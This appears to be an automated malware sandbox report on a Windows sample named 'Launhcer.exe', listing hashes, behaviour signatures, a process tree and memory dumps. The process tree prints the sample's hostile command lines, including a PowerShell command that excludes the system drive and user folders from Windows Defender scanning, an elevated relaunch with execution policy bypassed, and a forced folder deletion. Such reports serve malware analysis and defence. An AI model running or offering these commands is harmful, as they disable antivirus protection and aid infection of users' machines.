Resubmissions

28-08-2024 22:02

240828-1x98aszhnk 10

27-08-2024 12:22

240827-pjyrkazgmh 10

Analysis

  • max time kernel
    33s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28-08-2024 22:02

General

  • Target

    data/appInfo/services/Launhcer.exe

  • Size

    364KB

  • MD5

    e5c00b0bc45281666afd14eef04252b2

  • SHA1

    3b6eecf8250e88169976a5f866d15c60ee66b758

  • SHA256

    542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

  • SHA512

    2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

  • SSDEEP

    6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe
    "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4080
      • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe
        "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1064
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3728
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3480

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d0c46cad6c0778401e21910bd6b56b70

    SHA1

    7be418951ea96326aca445b8dfe449b2bfa0dca6

    SHA256

    9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02

    SHA512

    057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    dea471e81606be9574e98ac1868d6f5c

    SHA1

    ec9821777e2b2a5e2555a40a66d7438131ec1fdf

    SHA256

    fb1ec4598608312568ed6bc9346da3c92077624d4db593ce88222cf93318addd

    SHA512

    869ca45223cb537fbadb63ff4750e9bf027aa55f0589fc64a44b50155870a9dc9f7f6d2aafe129b6f46efeef8b58863f72566945045b2deb608b96cf3d8dfcfa

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_psrkhyxn.jxt.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3728-31-0x0000000005FE0000-0x0000000006014000-memory.dmp

    Filesize

    208KB

  • memory/3728-32-0x0000000070370000-0x00000000703BC000-memory.dmp

    Filesize

    304KB

  • memory/3728-42-0x0000000006C30000-0x0000000006CD4000-memory.dmp

    Filesize

    656KB

  • memory/3728-41-0x0000000005F50000-0x0000000005F6E000-memory.dmp

    Filesize

    120KB

  • memory/3728-49-0x0000000006FD0000-0x0000000006FD8000-memory.dmp

    Filesize

    32KB

  • memory/3728-47-0x0000000006FA0000-0x0000000006FB5000-memory.dmp

    Filesize

    84KB

  • memory/3728-48-0x0000000006FE0000-0x0000000006FFA000-memory.dmp

    Filesize

    104KB

  • memory/3728-46-0x0000000006F90000-0x0000000006F9E000-memory.dmp

    Filesize

    56KB

  • memory/3728-45-0x0000000006F50000-0x0000000006F61000-memory.dmp

    Filesize

    68KB

  • memory/3728-44-0x0000000006DD0000-0x0000000006DDA000-memory.dmp

    Filesize

    40KB

  • memory/3728-43-0x0000000007390000-0x0000000007A0A000-memory.dmp

    Filesize

    6.5MB

  • memory/4080-18-0x00000000060D0000-0x000000000611C000-memory.dmp

    Filesize

    304KB

  • memory/4080-17-0x0000000006080000-0x000000000609E000-memory.dmp

    Filesize

    120KB

  • memory/4080-0-0x00000000738FE000-0x00000000738FF000-memory.dmp

    Filesize

    4KB

  • memory/4080-59-0x00000000738F0000-0x00000000740A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4080-5-0x00000000052F0000-0x0000000005312000-memory.dmp

    Filesize

    136KB

  • memory/4080-20-0x00000000065A0000-0x00000000065BA000-memory.dmp

    Filesize

    104KB

  • memory/4080-21-0x00000000065F0000-0x0000000006612000-memory.dmp

    Filesize

    136KB

  • memory/4080-19-0x0000000007090000-0x0000000007126000-memory.dmp

    Filesize

    600KB

  • memory/4080-4-0x00000000053B0000-0x00000000059DA000-memory.dmp

    Filesize

    6.2MB

  • memory/4080-22-0x0000000007710000-0x0000000007CB6000-memory.dmp

    Filesize

    5.6MB

  • memory/4080-16-0x0000000005B40000-0x0000000005E97000-memory.dmp

    Filesize

    3.3MB

  • memory/4080-3-0x00000000738F0000-0x00000000740A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4080-6-0x00000000059E0000-0x0000000005A46000-memory.dmp

    Filesize

    408KB

  • memory/4080-52-0x00000000738FE000-0x00000000738FF000-memory.dmp

    Filesize

    4KB

  • memory/4080-53-0x00000000738F0000-0x00000000740A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4080-54-0x00000000738F0000-0x00000000740A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4080-2-0x00000000738F0000-0x00000000740A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4080-1-0x00000000028F0000-0x0000000002926000-memory.dmp

    Filesize

    216KB

  • memory/4080-7-0x0000000005A50000-0x0000000005AB6000-memory.dmp

    Filesize

    408KB